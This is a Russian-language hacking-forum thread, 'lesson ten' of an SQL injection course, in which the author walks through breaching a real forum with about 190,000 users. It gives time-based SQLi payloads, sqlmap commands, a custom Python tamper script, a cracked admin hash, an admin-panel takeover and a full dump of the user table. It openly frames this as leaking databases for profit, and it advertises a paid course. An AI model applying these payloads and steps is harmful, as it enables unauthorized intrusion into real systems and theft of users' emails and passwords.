Загрузка...

SQL INJECTION от новичка до профессионала (Урок десятый) ломаем форум 190к юзеров

Тема в разделе Веб уязвимости создана пользователем pentest 19 май 2023. (поднята 23 окт 2023) 2256 просмотров

Загрузка...
Опрос

Понравилась ли вам статья.Делать продолжение?

  1. Да , будет круто

    30
    93,8%
  2. Нет , я не разбираюсь в этом

    2
    6,3%
  1. pentest
    pentest Автор темы 19 май 2023 Заблокирован(а)
    Приветствую!Тебе всегда было интересно , где люди достают базы данных email:pass , log:pass и другие.В разделе раздача баз для ****а?
    [IMG]
    Или же ты просто хочешь научиться сливать базы , чтобы заработать на этом?Тогда эта статья для тебя:dance: Всё , что тебе нужно - это научиться пользоваться sqlmap`om , burp suite и искать эксплоиты под определенную версию ПО.То есть зачем изобретать велосипед , если ты ломаешь форум который на движке wordpress например.Если версия устаревшая , то есть куча эксплоитов под версию конкретную.Запомните , не нужно сразу радоваться , если вы закинули уязвимый параметр в SQLMAP и он вам выдал технику TIME BASED , вы всю свою жизнь будете сливать такой техникой сайт , потому что он будет перепроверять все [a-z] и [0-9] , а также "_".Еще для каждого символа будет задержка.Ну то есть представляете сколько времени уйдет , если бд будет 190к юзеров???Что мы можем сделать , чтобы найти другую технику , например UNION / ERROR , где данные будут выдаваться не по символам , а сразу целые слова:cool_bun:
    Давайте расскажу , как я действую кратко:
    1)Проверяю все параметры , которые есть на сайте для незарегистрированных пользователей в GET и POST
    2)Пробую обойти WAF , чтобы вместо слепой была любая другая техника
    3)Прохожу регистрацию на сайте и проверяю те параметры , которые доступны для зареганных юзеров
    4)Если ничего не вышло , то ищу поддомены и уже ищу реальный айпи адрес , чтобы запросы шли не через "посредника" а напрямую к ресурсу
    5)Если 1,2,3,4 пункты не помогают , то ищу какой движок на форуме (если это форум) wordpress/joomla и т.д
    название движка версия может быть , где угодно например в стилях .css файлы нужно фаззить любой утилитой на кали линукс например ffuf / dirb и т.д
    Может быть в конце сайта , например:
    [IMG]
    [IMG]
    Также есть расширения , которые определяет cms (движок) сайта например: Wappalyzer
    https://builtwith.com/ или вот такой крутой онлайн сервис , определит вообще всё , что запущено на сайте и какой версии.

    Вот вам видеоролик , чтобы было понятно , что такое эксплоит и как это всё работает.
    [IMG]
    Как мы видим достаточно найти движок , версию движка и эксплоит SQLI или RCE или command injection.
    Простым языком объясню , что такое SQLI,RCE,COMMAND INJECTION
    SQLI - это уязвимость , когда не фильтруется Input пользователя = он может отправлять SQL запросы и они будут выполнять на сервере.Например @@version
    RCE - это уязвимость для запуска шелла.Например мы можем подключиться напрямую к серверу и читать файлы / повышать привилегии
    COMMAND INJECTION - это уязвимость для выполнения коман.Например ?id=ls , ?id=pwd

    Теперь переходим к самому интересному:BrainCosmic:
    Есть вот такой ресурс (форум) очень старенький работает еще с 2004 года
    [IMG]
    Первое , что делаем запускаем софт ffuf/dirb/gobuster , ищем директории.Я нашел /forum/
    [IMG]
    Продолжаем искать дальше:Ktonahuy:
    /forum/admin/ мы нашли админку.Попробуем ввести стандартные данные админа admin:admin.Мы получаем вот такое сообщение:
    [IMG]
    [IMG]
    Нормальная админка не будет выдавать такие сообщения - это было бы странно.Короче это подставная страничка , чтобы ввести вас в заблуждение бывает и такое.Мой софт нашел еще одну админку:
    [IMG]
    /forum/adm
    Отлично!Тут же сделано всё гораздо лучше
    Если ввести неправильные данные , то нам просто об этом сообщат.
    [IMG]
    Как видите ****форсить бесполезно....
    Я составил огромный словарь для поиска директорий и нашел .php файл , который показывает все файлы , которые есть на сайте.
    [IMG]
    Потратил около 6 часов я нашел SQLI TIME BASED уязвимость
    Я подставлял различные полезные нагрузки в параметры.Например:
    SQL
    0'XOR(if(now()=sysdate(),sleep(5),0))XOR'Z
    \
    "
    '
    (sleep(5))
    Но ничего из этого не отрабатывало.Я понял , что надо поменять полезную нагрузку и я нашел подходящую
    SQL
    if(now()=sysdate(),sleep(5),0)
    Бурпом перехватил и запустил SQLMAP
    -r file.txt -p id=* --level=5 --risk=3
    time based технику sqlmap нашел , но она пипец медленная.Я около дня раскрывал названия базы данных и таблиц (их было больше 200 шт).
    [IMG]
    Всё , что у вас есть это таблица admins в которой id админа и таблица user в которой 190к юзеров.Если вы их будете лить time based , то на этом уйдет больше месяца и возможно админ заделает дыру.Как быть?Если вы напишите -T user -C userid,email , ТО SQLMAP будет сортировать (ORDER BY EMAIL) а нам нужно , чтобы все значения хоть пароли , хоть мыла , хоть соль что угодно сортировались по userid (ORDER BY userid).Что мы должны сделать первым образом?Это включить режим -v6 В sqlmap , чтобы видеть какой payload.У меня например такой:

    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr)
    генерирует различные числа в данном случае 8186 и сортирует по email из-за этого у вас будут сливать сначала емейлы с цифрами , потом по алфавиту , а айдишники не будут от 1 до 190к , т.к равнение так скажем идет на email.Конечно , мы можем взять руками и просто поменять ORDER BY email на ORDER BY userid , НО не забывайте , что у нас time based и админов может быть много...Мы же хотим , чтобы всё было автоматизировано
    Вот у нас админы 1-9 , 13 , 7804 и 23006.Нам нужно , чтобы все запросы сортировались по userid.Нам нужно написать tamper , который будет ORDER BY email заменять на ORDER BY userid.

    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY email LIMIT 1,1),21,1))>45,0,2)))))XmMr) - было
    (SELECT 8186 FROM (SELECT(SLEEP(2-(IF(ORD(MID((SELECT IFNULL(CAST(email AS NCHAR),0x20) FROM data.user ORDER BY userid LIMIT 1,1),21,1))>45,0,2)))))XmMr) - стало

    Кто знает python , тот легко справится с этой задачей.Напишем собственный tamper на python , который будет корректировать запрос , как нам нужно.
    Python
    # -*- coding: utf-8 -*-
    def tamper(payload, **kwargs):
    order_by_pos = payload.upper().find("ORDER BY")
    if order_by_pos != -1:
    order_by_substr = payload[order_by_pos:]
    if "email" in order_by_substr.lower():
    order_by_substr = order_by_substr.replace("email", "userid")
    payload = payload[:order_by_pos] + order_by_substr


    return payload
    Теперь сливаем таблицу юзеров и у нас будет сортировка по userid.Мы решили проблему и сможем легко достать данные админа:claps:
    tamper`Ы хранятся вот тут - sqlmap\tamper
    Теперь наша команда для SQLMAP выглядит вот так:
    --batch -D название бд -T user -C userid,email --dump --technique=T --tamper=любоеназвание.py --start=1 --stop=13
    Было:
    [IMG]
    Стало:
    [IMG]
    Всё идет , как нужно от меньшего id к большему:da:

    Мы получили email,password,salt,username админа
    Надо ****ить пароль теперь , чтобы вместо хэша был пароль...Запустил полный перебор получил пароль:
    abf264f44e727637ad34cbce8b109d23:;6+`B!wyWpW!QX'xii;L}};v|%PV[;:r0secret****

    Переходим /forum/adm и вводим данные.Мы админ!
    [IMG]

    [IMG]
    Всё , что есть в админке это забаненные юзеры , обычные юзеры email:username , а вот пароли в админке не хранятся.
    Я пробовал сделать бэкап таблицы user , но к сожалению прав на чтение нет...
    [IMG]
    Нашёл php скрипт для бэкапа в той же директории , где все файлы.Вывел названия всех таблиц , баз , колонок , но вот само содержимое не посмотреть...
    Как быть ? Я просто шарился в админке , кликал по разным функциям и напоролся на уязвимый параметр:
    [IMG]
    Нашел этот параметр (линк) в view source.Перехватил бурпом , указал нужный префикс и суффикс sqlmap`y технику , tamper и удалось найти ERROR и UNION.Успешно слили 190к юзеров:claps:
    [IMG]
    [IMG]

    Таким образом мы поломали форум , захватили админку и научились многим полезным вещам.Нравится , как я объясняю , то можешь записаться на мой курс по SQLI уроки будут проходить в дискорде с микрофоном и демкой - https://zelenka.guru/threads/5012873/

    Пишите свои отзывы о статье , если она вам понравилась , вы сильно мне поможете в продвижении:stonks_up:

    [IMG]
     
  2. ХитрыйЛис
    не ну, реклама для курса огонь(я б купил)
    Но ты не указал самое главное
    Как хеши в пароли перевести? Неужели каждый надо через hashcat ****ить
     
    19 май 2023 Изменено
    1. pentest Автор темы
      ХитрыйЛис, Да , я составил маски для hashcat и запустил перебор
    2. ХитрыйЛис
      pentest, для новичков курс пойдёт? кенту куплю(он прям нулёвый)
    3. pentest Автор темы
      ХитрыйЛис, Он для этого и создан , чтобы обучить людей у которых есть желание:cool_bun: :dance:
  3. Veori
    Veori 19 май 2023 я в ахуе 6087 10 янв 2023
    Ебать тут что-то на умном написано, я слишком туп для этого
     
  4. rickowens
    rickowens 19 май 2023 1109 2 июн 2018
    АХАХАХАХАХАХАХАХ 300IQ MOMENT
     
  5. id6996
    id6996 19 май 2023 ♡ 9999 ▦ 12 апр 2018 166 12 апр 2018
    Как-то я нашёл скулю, правда это было давно, но моих знаний не хватит чтобы её слить, а маппер сам дампить её не хочет, думаю она до сих пор там так и висит :peperain:
    А на сайте так то 4кк юзверов...
     
  6. TOPCHEK
    Там уже изначально был залит шелл. Так неинтересно.
     
    1. pentest Автор темы
      TOPCHEK, уязвимый параметр был и так в моем словаре.Это не особо помогло..
  7. yaw
    yaw 27 июл 2023 6687 5 окт 2019
    ебать ты заморочился, молодец
     
  8. access
    access 6 авг 2023 Promoting your product - lolz.live/threads/7201360 5415 17 фев 2022
     
Top